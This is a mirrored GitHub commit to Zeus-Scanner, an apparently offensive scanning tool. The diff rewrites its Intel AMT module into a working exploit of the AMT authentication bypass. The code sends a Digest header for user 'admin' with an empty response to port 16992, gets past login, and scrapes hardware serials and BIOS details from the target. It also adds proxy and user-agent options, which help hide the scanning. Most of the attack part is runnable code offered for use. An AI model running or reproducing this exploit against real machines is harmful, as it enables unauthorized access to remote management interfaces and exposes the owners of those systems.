mirror of
https://github.com/Ekultek/Zeus-Scanner.git
synced 2026-03-11 08:55:51 +00:00
complete re-write of intel AMT bypass, proxy and user agent configuration added for issue #9
This commit is contained in:
parent
024e660853
commit
3e4e37042a
3 changed files with 122 additions and 78 deletions
|
|
@ -1,67 +1,122 @@
|
|||
import re
|
||||
import socket
|
||||
import json
|
||||
|
||||
import lib.settings
|
||||
import requests
|
||||
from lxml import html
|
||||
|
||||
from lib.settings import (
|
||||
proxy_string_to_dict,
|
||||
logger, set_color,
|
||||
DEFAULT_USER_AGENT
|
||||
)
|
||||
|
||||
|
||||
BANNER_REGEX = re.compile("{} {}".format(lib.settings.AMT_SERVER_REGEX, lib.settings.AMT_BANNER_REGEX))
|
||||
|
||||
|
||||
def _is_vuln(response):
|
||||
if BANNER_REGEX.search(response) is not None:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def create_connection(host, port, proxy=None, resp_size=1024):
|
||||
send_data = "GET / HTTP/1.1\r\n\r\n"
|
||||
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
conn.settimeout(10)
|
||||
|
||||
#if proxy is None:
|
||||
conn.connect((host, int(port)))
|
||||
#else:
|
||||
# data_list = proxy.split("://")
|
||||
# conn.connect(())
|
||||
|
||||
conn.send(send_data)
|
||||
response = conn.recv(resp_size)
|
||||
conn.close()
|
||||
return response
|
||||
|
||||
|
||||
def intel_amt_main(host, proxy=None, verbose=False):
|
||||
if proxy is not None:
|
||||
lib.settings.logger.warning(lib.settings.set_color(
|
||||
"proxies are not implemented yet, you will not be connected through your proxy...", level=30
|
||||
def __get_auth_headers(target, port=16992, source=None, agent=None, proxy=None):
|
||||
if not source or 'WWW-Authenticate' not in source.headers['WWW-Authenticate']:
|
||||
logger.info(set_color or (
|
||||
"header value not established, attempting to get bypass..."
|
||||
))
|
||||
source = requests.get("http://{0}:{1}/index.htm".format(target, port), headers={
|
||||
'connection': 'close', 'user-agent': agent
|
||||
}, proxies=proxy)
|
||||
return source
|
||||
# Get digest and nonce and return the new header
|
||||
if 'WWW-Authenticate' in source.headers:
|
||||
logger.info(set_color(
|
||||
"header value established successfully, attempting authentication..."
|
||||
))
|
||||
data = re.compile('Digest realm="Digest:(.*)", nonce="(.*)",stale="false",qop="auth"').search(
|
||||
source.headers['WWW-Authenticate'])
|
||||
digest = data.group(1)
|
||||
nonce = data.group(2)
|
||||
return 'Digest username="admin", ' \
|
||||
'realm="Digest:{0}", nonce="{1}", ' \
|
||||
'uri="/index.htm", response="", qop=auth, ' \
|
||||
'nc=00000001, cnonce="deadbeef"'.format(digest, nonce)
|
||||
else:
|
||||
logger.info(set_color(
|
||||
"nothing found, will skip URL..."
|
||||
))
|
||||
return None
|
||||
|
||||
ip_address = socket.gethostbyname(host)
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"checking for Intel ME AMT exploit on host '{}' IP address '{}'...".format(host, ip_address)
|
||||
|
||||
def __get_raw_data(target, page, agent=None, proxy=None):
|
||||
logger.info(set_color(
|
||||
"getting raw information..."
|
||||
))
|
||||
for port in lib.settings.AMT_PORTS:
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"checking port '{}'...".format(port), level=10
|
||||
))
|
||||
return requests.get("http://{0}:16992/{1}.htm".format(target, page),
|
||||
headers={
|
||||
'connection': 'close',
|
||||
'Authorization': __get_auth_headers(target),
|
||||
'user-agent': agent
|
||||
},
|
||||
proxies=proxy
|
||||
)
|
||||
|
||||
try:
|
||||
resp = create_connection(ip_address, port, proxy=proxy)
|
||||
|
||||
if _is_vuln(resp):
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"host '{}' appears to be vulnerable to AMT exploit on port '{}'...".format(host, port)
|
||||
))
|
||||
except socket.timeout:
|
||||
lib.settings.logger.warning(lib.settings.set_color(
|
||||
"host '{}' timed out on port {}, assuming not vulnerable and proceeding...".format(host, port), level=30
|
||||
def __get_hardware(target, agent=None, proxy=None):
|
||||
req = __get_raw_data(target, 'hw-sys', agent=agent, proxy=proxy)
|
||||
if not req.status_code == 200:
|
||||
return None
|
||||
logger.info(set_color(
|
||||
"connected successfully getting hardware info..."
|
||||
))
|
||||
tree = html.fromstring(req.content)
|
||||
raw = tree.xpath('//td[@class="r1"]/text()')
|
||||
bios_functions = tree.xpath('//td[@class="r1"]/table//td/text()')
|
||||
data = {
|
||||
'platform': {
|
||||
'model': raw[0],
|
||||
'manufacturer': raw[1],
|
||||
'version': raw[2],
|
||||
'serial': raw[4],
|
||||
'system_id': raw[5]
|
||||
},
|
||||
'baseboard': {
|
||||
'manufacturer': raw[6],
|
||||
'name': raw[7],
|
||||
'version': raw[8],
|
||||
'serial': raw[9],
|
||||
'tag': raw[10],
|
||||
'replaceable': raw[11]
|
||||
},
|
||||
'bios': {
|
||||
'vendor': raw[12],
|
||||
'version': raw[13],
|
||||
'date': raw[14],
|
||||
'functions': bios_functions
|
||||
}
|
||||
}
|
||||
return json.dumps(data)
|
||||
|
||||
|
||||
def main_intel_amt(url, agent=None, proxy=None):
|
||||
proxy = proxy_string_to_dict(proxy) or None
|
||||
agent = agent or DEFAULT_USER_AGENT
|
||||
logger.info(set_color(
|
||||
"attempting to connect to '{}' and get hardware info...".format(url)
|
||||
))
|
||||
try:
|
||||
json_data = __get_hardware(url, agent=agent, proxy=proxy)
|
||||
if json_data is None:
|
||||
logger.error(set_color(
|
||||
"unable to get any information, skipping...", level=40
|
||||
))
|
||||
pass
|
||||
except Exception as e:
|
||||
lib.settings.logger.exception(lib.settings.set_color(
|
||||
"caught exception '{}', assuming not vulnerable and proceeding...".format(e), level=50
|
||||
else:
|
||||
print("-" * 40)
|
||||
for key in json_data.keys():
|
||||
print("{}:".format(str(key).capitalize()))
|
||||
for item in json_data[key]:
|
||||
print(" - {}: {}".format(item.capitalize(), json_data[key][item]))
|
||||
print("-" * 40)
|
||||
except Exception as e:
|
||||
if "Temporary failure in name resolution" in str(e):
|
||||
logger.error(set_color(
|
||||
"failed to connect on '{}', skipping...".format(url), level=40
|
||||
))
|
||||
pass
|
||||
else:
|
||||
logger.exception(set_color(
|
||||
"ran into exception '{}', cannot continue...".format(e)
|
||||
))
|
||||
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ except NameError:
|
|||
# clone link
|
||||
CLONE = "https://github.com/ekultek/zeus-scanner.git"
|
||||
# current version <major.minor.commit.patch ID>
|
||||
VERSION = "1.0.20"
|
||||
VERSION = "1.0.21.6ea5"
|
||||
# colors to output depending on the version
|
||||
VERSION_TYPE_COLORS = {"dev": 33, "stable": 92, "other": 30}
|
||||
# version string formatting
|
||||
|
|
@ -51,21 +51,6 @@ DEFAULT_USER_AGENT = "Zeus-Scanner(v{})::Python->v{}.{}".format(
|
|||
URL_QUERY_REGEX = re.compile(r"(.*)[?|#](.*){1}\=(.*)")
|
||||
# regex to recognize a URL
|
||||
URL_REGEX = re.compile(r"((https?):((//)|(\\\\))+([\w\d:#@%/;$()~_?\+-=\\\.&](#!)?)*)")
|
||||
AMT_SERVER_REGEX = re.compile("Server: Intel\(R\) Active Management Technology")
|
||||
AMT_BANNER_REGEX = re.compile(
|
||||
"((11\.(6\.(2(7\.(3(2(6[0-3]|[0-5][0-9])|[01][0-9]{2})|"
|
||||
"[0-2]?[0-9]?[0-9]?[0-9])|[0-6])|[01]?[0-9])|5|0\.(2(5\."
|
||||
"(3000|[0-2]?[0-9]?[0-9]?[0-9])|[0-4])|[01]?[0-9]))|10\.0\."
|
||||
"(5(5\.[0-2]?[0-9]?[0-9]?[0-9]|[0-4])|[0-4]?[0-9])|9\.(5"
|
||||
"\.(6(1\.(30(1[01]|0?[0-9])|[0-2]?[0-9]?[0-9]?[0-9])|0)|"
|
||||
"[0-5]?[0-9])|1\.(4(1\.(30(2[0-3]|[01][0-9])|[0-2]?[0-9]?"
|
||||
"[0-9]?[0-9])|0)|[0-3]?[0-9])|0)|8\.(1\.(7(1\.(3(60[0-7]|"
|
||||
"[0-5][0-9]{2})|[0-2]?[0-9]?[0-9]?[0-9])|0)|[0-6]?[0-9])|0)"
|
||||
"|7\.(1\.(9(1\.(3(2(7[01]|[0-6][0-9])|[01][0-9]{2})|[0-2]?"
|
||||
"[0-9]?[0-9]?[0-9])|0)|[0-8]?[0-9])|0)|6\.(2\.(6(1\.(3(5(3[0-4]|"
|
||||
"[0-2][[0-9])|[0-4][0-9]{2})|[0-2]?[0-9]?[0-9]?[0-9])|0)|[0-5]?"
|
||||
"[0-9])|[01])))"
|
||||
)
|
||||
# log path for the URL's that are found
|
||||
URL_LOG_PATH = "{}/log/url-log".format(os.getcwd())
|
||||
# log path for port scans
|
||||
|
|
@ -74,8 +59,6 @@ PORT_SCAN_LOG_PATH = "{}/log/scanner-log".format(os.getcwd())
|
|||
SPIDER_LOG_PATH = "{}/log/blackwidow-log".format(os.getcwd())
|
||||
# the current log file being used
|
||||
CURRENT_LOG_FILE_PATH = "{}/log".format(os.getcwd())
|
||||
# intel me amt ports
|
||||
AMT_PORTS = (16992, 16993, 16994, 16995, 623, 664)
|
||||
# nmap's manual page for their options
|
||||
NMAP_MAN_PAGE_URL = "https://nmap.org/book/man-briefoptions.html"
|
||||
# sqlmap's manual page for their options
|
||||
|
|
@ -319,7 +302,7 @@ def worker(filename, item):
|
|||
|
||||
def find_application(to_find, default_search_path="/", proc_num=25, given_search_path=None, verbose=False):
|
||||
"""
|
||||
find an application on the users system if it is not in their PATH or not path is given
|
||||
find an application on the users system if it is not in their PATH or no path is given
|
||||
"""
|
||||
retval = set()
|
||||
if whichcraft.which(to_find) is None:
|
||||
|
|
@ -380,4 +363,9 @@ def create_tree(start, conns, down="|", over="-", sep="-" * 40):
|
|||
down, over, con
|
||||
)
|
||||
)
|
||||
print(sep)
|
||||
print(sep)
|
||||
|
||||
|
||||
def get_true_url(url):
|
||||
data = url.split("/")
|
||||
return "{}//{}".format(data[0], data[2])
|
||||
7
zeus.py
7
zeus.py
|
|
@ -42,7 +42,8 @@ from lib.settings import (
|
|||
VERSION_STRING,
|
||||
URL_REGEX, URL_QUERY_REGEX,
|
||||
NMAP_MAN_PAGE_URL,
|
||||
SQLMAP_MAN_PAGE_URL
|
||||
SQLMAP_MAN_PAGE_URL,
|
||||
get_true_url
|
||||
)
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
|
@ -368,8 +369,8 @@ if __name__ == "__main__":
|
|||
url_ip_address = replace_http(url.strip())
|
||||
return nmap_scan.perform_port_scan(url_ip_address, verbose=verbose, opts=__create_arguments(nmap=True))
|
||||
elif intel:
|
||||
url_ip_address = replace_http(url.strip())
|
||||
return intel_me.intel_amt_main(url_ip_address, proxy=proxy_to_use, verbose=verbose)
|
||||
url = get_true_url(url)
|
||||
return intel_me.main_intel_amt(url, agent=agent_to_use, proxy=proxy_to_use)
|
||||
elif admin:
|
||||
main(url, show=opt.showAllConnections, verbose=verbose)
|
||||
elif xss:
|
||||
|
|
|
|||
Loading…
Reference in a new issue